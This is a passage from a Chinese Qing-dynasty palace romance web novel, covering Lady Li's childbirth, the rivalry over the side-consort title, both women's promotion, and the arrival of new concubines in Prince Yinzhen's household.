四阿哥脸上露出笑容,抱了在襁褓中的孩子一下才递回给产婆。
“李格格如何?”
接生产婆说还在清理。
“孩子带下去吧,好好照料。”
四阿哥在外面等,她们也没有走,等里面清理得差不多后,他们一起进去看看李氏。
李氏刚生完孩子,很是虚弱,但还是扯出笑容。
四阿哥过去摸了摸李氏的脸,李氏原本已经哭过了,这会又忍不住落泪。
“爷……”
“好啦,没事了,都过去了,孩子很好。”
“嗯。”
乌锦在一旁见到四阿哥很温柔地跟李氏说话,李氏感动得直落泪,这个时候她能感觉到这个男人对给他生儿育女的女人有几分怜惜跟心疼,不像有些男人在女人生完孩子后连做个样子都没有,只把她们当成生儿育女的工具,更别说心疼了。
“睡吧,这里有我呢。”
“嗯。”李氏生了好几个时
辰,早就累了困了,很快闭上眼睛睡过去。
“你们都回去吧。”四阿哥转身对她们说道。
福晋也示意她们可以回去了。
乌锦也回桃园,她坐在院子里的秋千上,三月初的桃树开始长出嫩绿的新叶,不知道今年的桃树会不会结果,看着这树长大不少。
“额娘……”曦宁也从房间里出来,头上绑着两个小揪。
“吃饭了吗?”
戚妈妈说曦宁吃了两个肉包子。
曦宁走过来,也坐在她的小秋千上。
“额娘,你给我讲故事好不好?”
“好,君梅,你把故事书拿过来。”
乌锦就坐在秋千上拿着故事书给曦宁讲故事,母女两就这样度过一个上午,到了下午,乌锦带着女儿到花园那边玩。
四阿哥原本打算建的池塘终于开始动工,开始往下挖土了,曦宁这几天就天天过来,小孩子很喜欢挖土,奴才们在挖的时候,她也拿着她的小铲子在挖。
乌锦有时候拿本书在亭子里看书,让曦宁自己玩,她一个人也能玩得很好,挖土挖得很快乐。
一天就很快过去。
……
另一边的李氏是在傍晚才清醒,喝了汤药后让人把孩子抱过来给她看看,她不放心还拆开襁褓,见真的是阿哥,她才忍不住笑了笑,不枉她辛苦这么久。
“恭喜格格,贺喜格格,主子爷给我们都发了赏赐,每人五两银子,我们沾了小阿哥的光。”刘嬷嬷说道。
李氏止不住笑意,昨晚主子爷陪了她一整夜,她在主子爷心里不是没有位置的,尤其是她现在连生两个阿哥,既然是阿哥,那她的侧福晋之位就有着落了。
“刘嬷嬷,你一定要让奶娘照顾好小阿哥。”
“她们肯定会的,格格请放心,格格目前最要紧的是先把自己身子养好,把月子坐好。”
李氏点头。
“格格吃点东西吧,我让膳房的人热着菜呢,奶娘,你先把小阿哥抱下去。”
李氏虽然舍不得孩子,但还是让奶娘抱走,她这会太虚弱了,先把身子养好再说,她也不忘问曦玉跟弘晖吃过了没有。
“曦玉格格跟弘晖阿哥都吃过了,这会已经睡下,格格别担心,奴才们肯定会好好伺候主子们的,主子爷半个时辰还来过,不过格格还没醒。”
李氏听着刘嬷嬷的话,心间满是感动,主子爷待她很好,心里有她,如今她又有二子一女,在后院的地位已经很稳固。
“把膳食摆上来吧。”
刘嬷嬷直接将小炕桌放在床上,李氏坐起来用膳,这人高兴了,心情好,精神也会跟着好起来,她吃了不少,吃饱后才让人撤下去。
“嬷嬷,你说我有可能被主子爷立为侧福晋吗?”
“格格生子有功,格格不是侧福晋,谁会是侧福晋,主子爷要是立侧福晋,肯定是非格格莫属。”
李氏知道这侧福晋之位只有她跟乌格格争,只是乌锦生的是格格,她可是连生两个阿哥,跟着主子爷的年份比乌格格久,主子爷越过她立乌格格为侧福晋是说不过去的。
“那就好。”
李氏白天睡过了,这会还睡不着,她继续给孩子做衣服,虽说有很多旧衣,但孩子总归要有几件新衣裳才行。
过了半个时辰,刘嬷嬷提醒道:“格格,你还是躺下歇息吧,这些交给绣娘就行,夜里冷,格格刚生完,要当心身子。”
李氏也觉得差不多了,让刘嬷嬷把衣服收起来,她又躺下去歇息。
翌日一早,李氏再次醒来时听到福晋的声音,刘嬷嬷说福晋过来了,正在陪曦玉格格说话,曦玉格格今儿不去学堂。
刘嬷嬷让燕芬跟燕芳给她穿好衣服,连围巾都戴上,避免吹到风,简单洗脸漱口过后,李氏才示意刘嬷嬷让福晋进来。
“恭喜妹妹,昨儿还没来得及说,怎么样,好点了吗?是不是得让柯大夫跟周太医过来给你看看?”
李氏也露出笑容,握住福晋的手,感激道:“妹妹能有今日的福气,多亏姐姐多年来的照顾,我现在很好,等会再叫大夫吧。”
“我们姐妹相互依靠,你能再生下小阿哥,说明你自己是有福气的人,我看着小阿哥很康健,今早哭声很洪亮。”
李氏对着福晋倾吐心声:“姐姐,你不知道这几个月我多么担心这孩子会早产,就怕他提前一两个月出来,好在老天保佑,让这孩子满月了才出来,我这几个月的辛苦都是值得的。”
“是值得的,小阿哥看着就很活泼可爱,就等主子爷给他取名了,苦尽甘来,妹妹往后的日子都是甜的。”
“额娘……”
李氏看到曦玉,也伸手握住女儿的手,笑道:“曦玉看过弟弟了没有?”
“嗯,看过了,弟弟眼睛不能睁开。”
李氏轻笑,说小孩子要过几天才能睁眼。
“额娘,现在肚子还疼吗?”
李氏摇头说不疼了,当然刚生完哪有不疼的,只是为了宽慰女儿才这么说的,刚说完,她就见到四阿哥走进来。
“爷……”
福晋让开位置给四阿哥,四阿哥坐在床边。
“有没有哪里不舒服,需不需要叫太医过来?”
“叫柯大夫过来就行,我现在很好,让爷挂心了。”
李氏眼含情意地看着四阿哥。
“等孩子满月后,我再请示皇阿玛给孩子取个名字。”
李氏点点头:“都听主子爷的。”
“好好养着,有什么需要直接说,不舒服的话也要及时说,别忍着。”
“爷,我知道。”
“阿玛,我会好好照顾额娘的。”
李氏看着曦玉,心里很欣慰。
“曦玉真乖,你说得对,你是要好好照顾你额娘,你额娘有什么不舒服的地方,你过来跟阿玛说。”
曦玉连着点头。
四阿哥没在她房间里待很旧,四阿哥走后,福晋在一旁说主子爷是真的关心她,每回她生孩子,主子爷都会很担心。
李氏羞赧地笑了笑。
“好啦,我也不在这里打扰你了,先回去了。”
李氏想起来恭送福晋,被福晋制止,她只看着福晋离开。
李氏知道她刚生完孩子,还不好提立侧福晋的事,至少等到孩子满月再说,她先好好坐月子。
后院的主子们也轮流过来看她,送了一些东西给孩子,李氏跟她们道谢。
最让李氏惊喜的是皇上跟德妃娘娘都赐一些赏赐给她,德妃娘娘会给赏赐,她不意外,但是皇上给赏赐,她就有点意外,毕竟皇上日理万机,不是每一个孙辈出生,他都给赏赐的,毕竟阿哥那么多,皇上的亲孙子孙女太多,他都记不过来。
弘昀出生的时候,只有德妃娘娘赐赏了,弘昀都快三岁了,皇上都没有亲手抱过弘昀,也只见过弘昀一面,还是在除夕宴上见过,可能皇上都没有印象。
连皇上都给她赏赐,李氏越发觉得她这个侧福晋之位稳了。
四十天后,李氏坐完月子,已经能下床走路,四阿哥过来跟她说孩子的名字已经取好了,叫弘时,是皇上定下的名字。
李氏对这个名字也很满意,她每天都要抱抱弘时,四十天大的孩子还处在吃喝睡的阶段,弘昀的小脑袋也凑过去。
“弘昀,这是你弟弟,你看他很像你这个哥哥,跟你小时候长得一模一样。”
“他不会说话,我想要会说话的弟弟。”
李氏笑道:“弟弟还小,等弟弟像你一样大的时候,弟弟就会说话了。”
“不好玩,我要去跟姐姐玩,我要去花园跟姐姐一起挖土。”
弘昀这阵子很喜欢去找曦宁一块去,两人只差两个月,年纪相仿,能玩在一块,弘晖白天要去上书房读书,曦玉也要去学堂那边,府里只有他跟曦宁两个孩子。
李氏也没想到弘昀会跟曦宁玩在一块,反而曦玉跟曦宁两姐妹的关系没有缓和,许是曦玉年长曦宁五岁,两人玩不到一块去,姐妹两关系才没有增进。
李氏没有阻拦弘昀去找曦宁玩,至于他口中的挖土,她其实有些介意,毕竟泥土很脏,她怕他弄脏衣服弄脏手,不过介意归介意,也没有制止他。
“你
去吧,别玩太久。”
弘昀一下子跑出去,李氏示意奴才们跟上去。
李氏低头看自己怀里的婴儿,觉得弘时比弘昀更像四阿哥,眉眼很像。
“格格,福晋来了。”
“快请进来。”
福晋进来,先看看弘时,要抱弘时,李氏很放心把弘时递给他,说道:“这孩子要抱着才肯入睡,不抱他,他就开始哭。”
福晋笑道:“弘晖小时候也这样,奶娘的手都抱酸了,你说这兄弟两真不愧是有着相同血缘的两兄弟。”
“是啊,亲兄弟就是这样。”李氏摸了摸弘时的脸,弘时已经开始打哈欠,大人说话在他耳边说话似乎也吵不到他。
“先前我不是说了你若是再生一个阿哥,我就跟主子爷说立你为侧福晋,如今弘时也满月了,我准备跟主子爷提这事。”
李氏眼睛一亮,顿时欣喜:“姐姐说的是真的?”
“自然是真的,你连生两个阿哥,这侧福晋是绝对当得起的,日后你我一起料理后院。”
李氏没听出福晋话中玄机,只觉得当侧福晋是好事,就好比那些侍妾想往上晋升为格格一样,这侧福晋跟格格可是有很大差别,谁不想当妾升为妻,上皇家玉牒。
她看向福晋,感激道:“多谢姐姐如此帮我,妹妹感激不尽。”
“小事,我不过跟是主子爷说一句而已,但主子爷怎么想的,我就不敢保证,妹妹日后若是当不了侧福晋,可千万别怨姐姐。”
“怎么会,我谢谢姐姐都来不及,怎么会怨恨姐姐,自从我进府,姐姐就待我很好,我都记得,姐姐是府里待我最好的人。”
“那就好,反正我们姐妹两个日后相互扶持,把几个孩子养大,放心吧,我会跟主子爷说的,可能过几日就会有好消息。”
李氏此刻是真的很感激福晋,心情也很激动。
福晋待了一会就离开,李氏只等着好消息了,她抱着弘时,忍不住亲弘时的脸颊,觉得弘时是她的福星,不枉她这么辛苦生下这个孩子。
五日后,福晋又过来,李氏期待地看着福晋。
福晋看了一眼旁边那些人,李氏立即会意,让屋里的奴才都出去,只剩下她们两个人。
“我跟主子爷说了,但主子爷似乎更想立乌妹妹为侧福晋,只是乌妹妹还没有生出阿哥,主子爷的意思是想等乌妹妹生出阿哥再立她为侧福晋。”
李氏心里咯噔一下往下沉,脸色都变了,嘴角的笑意不在,主子爷要等到乌氏生出阿哥就立乌氏为侧福晋,她连生两个阿哥都不能让主子爷直接立她为侧福晋,这让她情何以堪,说到底主子爷更喜欢乌氏,更宠乌氏。
“妹妹,是姐姐不好,没能说服主子爷。”
李氏赶忙道:“跟姐姐无关,姐姐为了我做了很多,只是主子爷……主子爷很爱乌妹妹,我们这些人都敌不过乌妹妹在他心中的地位。”
“乌妹妹的确得宠,没办法,主子爷就是喜欢乌妹妹,乌妹妹能笼住主子爷的心,让主子爷什么都为她着想,等乌妹妹生出阿哥,她就更不得了啦。”
李氏原先对乌氏也没有太多恨意,也没有不喜欢她,只是这个时候她难免生出几分恨意,觉得都是乌氏把主子爷迷住,这女人不像她表面那么无害,很有心机的女人,就这样占去她的侧福晋之位,福晋说得对,等乌氏真的生出阿哥,哪还有她的位置,恐怕弘昀跟弘时都比不上乌氏生出来的阿哥。
第85章第85章更新
第85章
在福晋走后,李氏仍然有满腔怒气,她也没有傻到去桃园跟乌氏对峙,当面质问她,她只能在心里默默怨恨,什么都做不了,乌氏先在是主子爷心尖上的人是,她这个时候动乌氏对她没有好处。
在弘昀想过去桃园找曦宁玩时,李氏难得不让他过去,弘昀问她为什么时,她也没说为什么,就是不让他过去。
弘昀哭闹得厉害,李氏更加觉得乌氏这个女人很有心机,笼住主子爷的心就算了,连一个小孩子都不放过。
李氏让弘昀的两个奶娘把孩子哄好,以后盯着弘昀,别让他随便乱跑,尤其是不能过去桃园。
弘昀哭闹了两天,李氏都没有松口。
到了第三天,乌氏带着曦宁过来,李氏不得不收起怨恨的嘴脸,表现出和善热情的样子欢迎她们母女两的到来。
乌锦并不知道李格格跟福晋之间说的话,也不知道李格格恨她,是曦宁想要跟弘昀玩,弘昀两天不来找她,她就吵着要过来。
“姐姐身子恢复如何?”
“挺好的。”
“弘时阿哥呢?”
“他也很挺好的,一个月大的孩子就是吃喝睡。”
乌锦笑着点头:“是,孩子都是这样,他吃得多不多?”
“奶娘说吃得还行,睡醒后就想喝奶,一天能喂个十几次。”
乌锦又称赞李格格气色红润,也瘦了一点,随即问起弘昀,说曦宁想找弘昀一块玩。
人都找上门了,李氏自然不会当面阻拦,还是让奴才把弘昀带过来,弘昀一见到曦宁就抱上去,两个小孩像是久别重逢一样搂抱在一起,一个喊姐姐,一个喊弟弟,明明也就两天没见而已。
李氏看到这画面都有点哭笑不得,不过也能看出来这两个小孩玩得好。
“李夫人,我能带弟弟出去玩吗?”
李氏只好说道:“可以,你们出去玩吧。”
“谢谢李夫人,弟弟,我们去挖土吧。”
曦宁牵着弘昀的手跑出去,伺候的奴才们赶紧跟上去。
李氏偏头看乌氏,乌氏也笑得一脸温柔,她便不由地想她不能当侧福晋,可能也不是乌氏的错,只是因为主子爷太喜欢乌氏,想给乌氏留位置,她在主子爷心里的排位不及乌氏,哪怕她生了两个阿哥。
李氏只能劝自己想开。
“乌妹妹,你坐下跟我聊聊天吧,我听说妹妹绣工很好,我准备给弘时做一件衣服,你看看我做得怎么样。”
于是乌锦就陪着李格格做针线活,手头上有事情做,两人坐着也不尴尬。
直到两个小孩子玩累了回来,乌锦才带着曦宁离开邀月苑,过后两个小孩子又玩在一块,还是隔了两天,曦宁回来告诉她,弘昀有两天不来找曦宁玩是因为李格格不让,至于李格格为何不让两个小孩子一起玩,乌锦也不知道缘由,不过想着两人又在一块玩,应该没什么大事,于是没有细想。
康熙四十二年五月初,选秀正式开始。
乌锦在贝勒府的日子还是比较平静。
有一日,四阿哥过来,一副有话要说的样子。
“怎么了?”
胤禛犹豫。
“爷,你有话就直说,是不是我家里发生什么不好的事了?”
胤禛怕她想到什么不好的,否认道:“你家里没事。”
“那你吞吞吐吐,犹犹豫豫干什么?”
胤禛其实是想趁着新人入府,他跟皇阿玛请封立她跟李氏为侧福晋,李氏毕竟为他生了两个阿哥还有曦玉,进府多年,要是只立她为侧福晋,而不立李氏,好像说不过去。
“就为这事?爷立李姐姐为侧福晋是应该的,这有什么好为难的。”
胤禛过去搂抱住乌锦,脸贴着她的脸,“我怕你觉得委屈。”
“我不委屈,我有什么可委屈的,我知道爷的心在我这,况且我只是生了曦宁一个,远比不上李姐姐,爷要是只立我为侧福晋,恐怕府里也会有一些不好的流言蜚语,爷这么做是对的,李姐姐为主子爷生儿育女也很辛苦,我是何德何能能跟李姐姐一同被立为侧福晋。”
乌锦还怕他真的只立她为侧福晋,那李格格恐怕会恨上她,历史上李格格的确是侧福晋,她想到前阵子李格格不让弘昀跟曦宁一块玩,是不是也为了这事,先前是有传言她跟李格格要争抢侧福晋之位。
有时候恩宠太过也不是好事,乌锦觉得她可以不当这个侧福晋,让李格格一人当也可以,不然她在府里风头太盛了,少不得有人会嫉恨她。
“爷,你可以只立李姐姐为侧福晋,我继续当个格格,爷,你也知道的,我不喜欢管事,万一升为侧福晋要管事的话,我还是不要当好了。”
胤禛捏了捏她的脸,她倒是大度,连侧福晋都不想当,不立她为侧福晋的话,他也不会立李氏为侧福晋。
“你呀,就想当一个懒虫是不是?这也不想管,那也不想管。”
“没办法,我就是懒惰。”
胤禛解释道:“虽是侧福晋,但这府里暂时还轮不到你管事,你继续当你的懒虫,我何时让你操劳过什么。”
乌锦笑着回抱住他,在他唇上轻啄两下:“我就知道爷待我最好。”
“你上辈子肯定是个农妇,每天下地干活,这辈子才会这么懒,投了一个好胎。”
乌锦嘻嘻道:“可不是嘛,上辈子就是干的活够多了,这辈子肯定不想再干,只想吃吃喝喝,我不是投胎好,而是我碰到主子爷,这荣华富贵都是主子爷给的,主子爷不想我受累。”
胤禛心情才好一些,这女人就是会甜言蜜语,他低头攫住她红唇。
“这可是大白天。”
“大白天怎么了?”
“我怕曦宁会突然闯进来。”
“放心吧,苏培盛肯定会拦住她的,我们又不是没在大白天做过。”胤禛特别喜欢亲乌锦,也特别喜欢跟乌锦做这些事,他把她抱到床上去,很快倾身上去。
“痒,哈哈,爷,别闹了。”乌锦被他的胡须扎的,用手推拒着他,像是被挠痒一般笑个不停。
胤禛偏要闹她,一直亲个不停。
事后,两人气喘吁吁地躺在床上,乌锦脸上泛着红润。
他们歇一会才叫水。
……
请封侧福晋一事,胤禛先跟皇阿玛说一声,皇阿玛同意后,他再跟德妃娘娘说一声,最后才告知宗人府,宗人府的人开始制册记录,礼部开始册封。
贝勒本来就允许立两个侧福晋,所以这事没受到太多阻拦。
福晋乌喇那拉氏也是事后才得知四阿哥要同时立李氏跟乌氏为侧福晋,当她知道的时候,这事已经基本定下来了,由不得她更改。
主子爷做事一向果断,只是问都没问过她,她还是有些心寒,她不知道主子爷到底是想立乌氏为侧福晋还是想立李氏为侧福晋,总有一人是捎带的。
她本想借着此事挑拨李氏跟乌氏的关系,没想到主子爷真的有立侧福晋的打算,立都立了,她什么都做不了。
宗人府那边新做的府册也下来,礼部那边也挑日子送来侧福晋的冠服。
身为福晋,她还要领着两人进宫谢礼。
两人也收到冠服时,也过来给她敬茶。
乌喇那拉氏心里有再多不满,也只能接受,挤出笑脸面对她们。
“你们两个在府里勤勤恳恳,又为主子爷生儿育女,被册封为侧福晋是应该的,日后你们两人与我一起共同协理后院,希望我们能一起撑起后院的繁荣安宁。”
“妹妹谨遵姐姐教诲。”
乌喇那拉氏亲自将她们一一扶起,“好啦,这是好事,再过几日,你们随我进宫谢礼,还有你们,现在也给两位侧福晋行礼吧。”
底下坐着的小主们纷纷给两位侧福晋行礼。
这算是正式册封为侧福晋了,乌喇那拉氏瞧着李氏的笑脸,她眼里的笑意快要溢出来,倒是乌氏神情还淡定平静一些。
李氏自然高兴,本以为她当侧福晋无望,突然主子爷告诉她,他会立她跟乌格格为侧福晋,虽说是同时被立为侧福晋,但不管怎么样,总好比没法当侧福晋好,主子爷心里还是有她的。
李氏自从得知这个消息时已经高兴好几天了,见到福晋时哪里掩饰得住,她觉得这里面有福晋的功劳,对着福晋,她心里是很感恩的。
又过几日,福晋带着她们进宫谢恩,皇上朝务繁忙,没有亲自见她们,她们只是朝着乾清宫的方向叩头行礼,然后再到后宫给各位娘娘行礼,等于是她们以侧福晋的身份见各位娘娘。
之后,其实日子没有什么大改变,虽说是被立为侧福晋,但这府里的琐事还是归福晋管,她们也没有从旁协助,跟以前没什么差别,就是内务府那边给的份例多了一些。
眨眼间到了七月初,有两位格格进四贝勒府,一个是钮祜禄氏,四品典仪官凌柱之女,一个是苏氏,镶白旗汉军旗都统苏耀启之女,两人家世都不错。
乌锦从格格升为侧福晋后,是坐在福晋右手边下座,而李氏坐在福晋左手边下座,其他小主也按照顺序坐着。
新进府的两位格格前来,两人均是十六岁,跪在中间行礼。
“妾身钮祜禄氏给福晋请安,福晋万福。”
“妾身苏氏给福晋请安,福晋万福。”
“起来吧。”
在崔嬷嬷的介绍下,两人又给李氏行礼,给李氏行礼过后又给乌锦行礼,一个个行礼过去,也算是给两位新人介绍她们。
无论是钮祜禄氏还是苏氏,两人容貌都清丽不俗,如同刚含苞待放的花朵,她们稍显拘谨,不过也没出错,福晋给她们赐坐。
“你们刚进府,日后要好好跟各位姐姐相处,为主子爷绵延子嗣,在府里也要安分守已,不要惹是生非,后院容不得兴风作浪的人,望你们谨记。”
“妾身必定牢牢谨记。”
福晋满意地点点头,说道:“好啦,时候不早了,既然都见过两位妹妹了,那就散了吧。”
众人起身,各自散开。
“姐姐,我听说花园里的池塘已经快建好了,我们去看看吧。”耿氏凑过来跟乌锦说话。
这池塘也陆陆续续修了两个月,终于是快建好了,乌锦点头同意,她偏头看向宋氏,让宋氏一起。
“几位姐姐,我可以一起去吗?”苏氏上前,加入她们的对话。
乌锦笑道:“当然可以,妹妹进府第一天,想必对府里还不熟悉,正好随我们一起逛逛。”
“多谢几位姐姐。”
于是四人决定去花园那边。
今儿天气不错,晴空万里,这会阳光也不刺眼,花园那块空地已经有池塘的雏形,甚至中间有一座石桥可以横跨整个池塘,就剩下水跟鱼放进去了。
宋氏问了一下苏氏的家里人,包括苏氏家中有几个兄弟姐妹,除了她阿玛,族中还有谁当官,苏氏也一一回答了。
“额娘……”原本就在花园这边的曦宁跑过来,想要抱住她的腿,乌锦后退两步。
“你的手脏脏的,不可以碰额娘。”
曦宁委屈地撅着嘴。
弘时也跑过来,两个人的手都沾着泥土。
“这是小格格跟小阿哥吧?他们真可爱。”苏氏开口称赞道。
乌锦让他们喊苏夫人。
曦宁一喊,弘时也跟着喊,两个小孩常常黏在一块玩,他们第一次见到苏氏,目光里充满好奇。
“额娘,她是谁?”
“我不是跟你说了嘛,这是苏夫人。”
“苏夫人是谁?她为什么在这里?”
乌锦要怎么跟三岁的小孩子说这是你阿玛的女人,新进府的格格,她摸着曦宁的头,说道:“你就当苏夫人是一个大姐姐就行。”
倒是弘昀在一旁大声说道:“她不是姐姐,她是阿玛的女人,阿玛以后会跟她在一起。”
曦宁一听这话就反驳道:“才不是,阿玛是跟我额娘在一起。”
“阿玛是跟我额娘在一起。”
两人小孩为了阿玛跟谁在一起的问题突然吵起来,小孩子都是觉得阿玛跟自己额娘在一起的,他们还不太有三妻四妾的观念,乌锦听着他们争吵,心里难得划过一抹悲哀,小孩子是很天真纯粹的,他们的纯粹在
这个世间显得格格不入。
乌锦蹲下来跟两个孩子说话:“好啦,都不许再吵,再吵架的话,你们就不可以在一起玩了。”
两人都同时闭嘴。
“好啦,你们两握握手。”
两人握手握得有些不情愿。
“去玩吧,你们都不玩的话,那曦宁,你就跟我回桃园,额娘教你写字。”
“我不要写字,我不跟弟弟吵,弟弟,我们和好吧。”
弘昀也点头。
曦宁牵着弘昀的小手跑开,生怕她额娘把她抓回去练字。
乌锦回头跟苏氏说一声抱歉,让她别把孩子的话放在心上。
“乌姐姐,我不会的,我觉得小格格跟小阿哥很可爱。”
乌锦笑了笑,带着苏氏继续逛花园。
逛了一会儿,她们才回去。
乌锦的房间内放着两大盆冰山祛热,但还不够凉快,她坐下拿着圆扇扇风。
听春很快把一碗冰镇汤圆端过来。
“外面阳光开始出来了,你去把花园那边把小格格带回来吧,免得中暑。”
“奴婢这就去。”
听春很快出去,君梅说道:“主子,我给你扇吧。”
乌锦便把扇子给君梅,她开始喝冰镇汤圆。
君梅在主子身边也有四年了,说话就随意许多:“主子,你觉得新进来的两位格格,谁会先侍寝,我觉得苏格格更好看一些,应该是苏格格先侍寝。”
“你觉得苏格格好看还是章佳小主好看?”
君梅一愣,章佳小主虽然年纪比苏格格她们大,不过也只是大三四岁而已,但章佳小主跟自家主子一同进府,章佳小主却不怎么得宠,其实章佳小主在后院中是容貌最出色的人,比今天刚进府的两位格格可能还要好看。
“主子爷对容貌不是太在意,所以仅凭容貌来判定谁先侍寝可能做不了准,不过你可以跟我打个赌,就赌一两银子,我赌钮祜禄氏会先侍寝。”
“那好,我赌苏格格。”
“我许久没回家了,你让小才子出府给我阿玛他们传个话,就说我三日后回家一趟。”
“我知道了,我等会跟小才子说。”
乌锦把一碗汤圆吃完,又剥荔枝吃,曦宁回来,她见她脸上红扑扑的,怕她太热,给她脱掉一件外衣,只穿着里面的里衣。
“额娘,我也要吃荔枝。”
乌锦就剥一颗荔枝给她,曦宁已经三岁了,她想着到明年就送她去学堂。
戚妈妈已经拿着手帕伸进曦宁的后背里给她擦汗。
“等一下不可以出去玩了,外面阳光太晒了,要玩只能在屋里玩。”乌锦提醒道。
“嗯,我知道了。”
乌锦见她回得很敷衍,不由又唠叨一句:“要把额娘的话听进去,别偷偷跑出去,池塘那边也别靠太近,小心掉下去。”
池塘挖了也有一米快两米深,小孩子不小心掉下去肯定也会摔伤,到时候里面通了水就更危险了,虽说也弄了护栏,但小孩子太顽皮,可能会翻过护栏。
曦宁点头。
乌锦看着自己女儿,满眼慈爱,忍不住捏了捏她的小肉脸。
“额娘,不可以。”
“什么不可以?”
“不可以捏我的脸。”
“我是你额娘,我还不能捏你的脸吗?”
曦宁犹豫一下,然后也伸手捏她的脸,母女两就这样玩起来。
胤禛进来时就是见到一大一小在铺炕上滚来滚去,一大一小的笑声交错在一起,乌锦将女儿困在她怀里,挠她的胳肢窝,女儿咯咯地笑起来,他跟着嘴角上扬,过去把女儿解救出来。
“阿玛……”曦宁见到阿玛,高兴地抱住他脖子,告状道:“额娘打我,她捏我的脸。”
“捏哪里了?”
“这里。”
胤禛就着女儿指的位置也上手捏了捏,女儿的小肉脸捏起来不要太舒服,女儿撅起嘴,又喊了一声阿玛,眼神充满抱怨。
“举高高要不要?”
“要,阿玛举高高。”
乌锦出声制止:“她太重了,主子爷,你别举了。”
曦宁现在就是一个小胖妞,她怕四阿哥举不起来,丢了当阿玛的面子。
胤禛没管乌锦,真的举抛了几次,女儿又咯咯笑起来。
乌锦没好气道:“爷,你最好举一百次,我看你举不举得起来。”
胤禛也明显感觉到自己女儿的重量,举了六七次就放下了,还真是费力气的活,他把女儿放回到铺炕上,问她们母女两今日都做了什么。
乌锦不想在女儿面前提起两位新进府的格格,就没说今日两位格格给她们行礼的事,只说跟往常一样随便在府里走走逛逛。
胤禛也知道今日两位格格进府,皇阿玛分到他府里的,他也没有提两位格格,陪着女儿玩了一会,直到女儿开始犯困,他才让奶娘抱走。
“这屋里热,可以再添一些冰。”
“太冷也不行,孩子身子弱,受不了极冷极热的交替,这样就行,不是特别热,是你自己身子热,男子跟女子不一样,男子身子体温就高,还有爷穿的衣服多。”
“那你帮我脱了。”
乌锦对上他灼热的目光就知道他想干什么,她翻一个白眼:“爷,你过来找我就是为了做这事吧,府里可是刚进了两位新人,爷可以去找她们,我今日见到两位格格,生得貌美,爷肯定喜欢。”
胤禛觉得这话满满是醋味,他眼里尽是笑意,他笑道:“这是皇阿玛分给我的,不是我要她们进府,你不能怪到我身上,我对你的心意,你还不知道吗?”
乌锦就不信他要是强硬拒绝,皇上会非要塞人给他,说到底他没有拒绝,而且就凭钮祜禄氏生出弘历,说明他最后还是让她们侍寝了,他虽然爱她,但他也会宠幸别的女人,他是来自大清的阿哥,在他的认知里,三妻四妾很正常,再爱她也不耽误他睡别的女人。
“我不知道,我只知道两位妹妹生得花容月貌,肯定能勾走主子爷,我人老珠黄,恐怕过不久就不得主子爷喜欢了。”
胤禛把她抓过来,放在自己怀里搂着,问道:“你这是吃醋了吗?”
“没有,主子爷想多了,我吃什么醋,我刚刚吃了一碗甜的冰镇汤圆。”
“我看看是不是真的吃了汤圆,张嘴。”
乌锦嘴巴闭得紧紧的,结果这人就直接吻上来,手在她腰上掐一把,她想骂他时嘴巴张开,他顺势将舌头伸进来,将她骂人的话吞没。
第86章第86章更新
第86章
“是甜的。”胤禛亲完后笑着说一句。
乌锦翻了一个白眼。
胤禛把她抱起来,说她比曦宁轻。
“有本事你也把我举起来。”
胤禛轻笑,这就有点难为他了,抱比举要容易一些,大人跟小孩比肯定还是重不少,他把她放到床上,说道:“我觉得还是留着力气做别的事情为好。”
“不要脸。”
“要脸就吃不到肉了。”胤禛又俯下身亲她。
事后,胤禛帮她擦拭,过一会儿才躺下来。
“要不要去城外骑马?还是去庄园,带上孩
子一起。”胤禛想着自己好久没有带着他们出门玩了,户部的事情太多,加上皇阿玛这两年开始重用除了太子之外的阿哥,时不时找他们跟内大臣一起商讨朝务,上到胤褆,下到老十胤俄都开始为皇阿玛排忧解难。
皇阿玛此举意思也很明显,太子储君的权势太盛,威望过高,那他就抬举他们,打压太子,分散太子手头上的权力,同为皇阿玛的儿子,有些大臣追随太子,自然也有人追随他们。
胤禛觉得皇阿玛是培养他们的野心,要他们跟太子形成对立,显然此举很是见效,至少有人开始按捺不住,开始拉拢朝臣。
“去庄园吧,既然是带孩子一起,去庄园更合适一些,曦宁还太小,骑不了马。”
胤禛点点头,他也累了,闭上眼睛睡午觉。
乌锦也跟着他睡了一觉。
半个时辰后,两人起来才用午膳。
去庄园这事定在五日后,基本上所有主子都可以过去,在此之前,乌锦带着孩子回一趟娘家。
乌安已经十六岁,家里人开始为他的前程担忧,她阿玛的意思是让乌安先领了旗缺,先在步军营里当差,但小娘觉得乌安没必要像她阿玛那样从普通小兵当起,乌家今日不同往日,要当就当一个有官职的官。
他们问她的意见,乌锦想了想,说她回去问问四阿哥,看可不可以给乌安安排侍卫的差事。
“这个好,好歹当个三等侍卫,乌安这孩子聪明能干,肯定能做好这份差事。”小娘高兴道。
乌锦觉得帮帮家里人是应该的,乌安又是她的亲弟弟,她还是希望乌安跟乌明两人能争气,至少要比她阿玛跟几个舅舅争气才行,只有这样乌家才能在京城立足。
乌锦在娘家待了半天,回到府里后先问四阿哥在不在府里,得知四阿哥在前院的书房,她便直接过去找他,几乎没受到什么阻拦就进去书房了,四阿哥在看户部的折子。
“爷,我有事相求。”
胤禛抬头,目光有些好奇,乌锦很少求他,他问是什么事。
“我想让你给乌安安排一差事,乌安已经十六岁了,我觉得他可以当差了。”
乌锦明白这大清最讲究出身,好的出身决定你的上限,不少上三旗出身的人一开始会从侍卫当起或是从笔帖式当起,仕途升得快,其实普通人很难在仕途上晋升,像她阿玛,要不是她遇到四阿哥,她阿玛可能一辈子都只能当个普通牛录,连佐领都当不了。
她不想乌安像她阿玛那样,求四阿哥是最快的,反正乌家已经跟四阿哥绑在一起了。
她说完后忐忑地看着四阿哥。
胤禛笑道:“就为这事?我知道了,我会给他安排的。”
胤禛其实很高兴乌锦为这事求他,以前她都不会为这些事求他,她恨不得将他们的关系撇得一清二楚,说明这几年她还是有所改变的,开始信任依赖他了。
“过来。”
“不了,爷,你继续忙吧,我先走了。”
乌锦直接溜走,免得自己又“失身”,她听到四阿哥的笑声从后面响起,她走得很快,没管他,直接回到桃园。
“额娘,你看我摘的花。”
“哪摘的?”
曦宁有些心虚。
乌锦点了点她的小脑袋:“不许随便摘花,院子里的花都被你薅秃了,以后这院子也会光秃秃的,就不好看了。”
“额娘,我只摘了一朵。”
摘都摘了,乌锦还能说什么,只是想着反正这花以后都会凋零的,提前摘了就摘了,她给曦宁擦擦汗。
“好啦,别在太阳底下晒。”乌锦把曦宁牵进房间里,让她坐下来听她讲故事。
一天就这么过去。
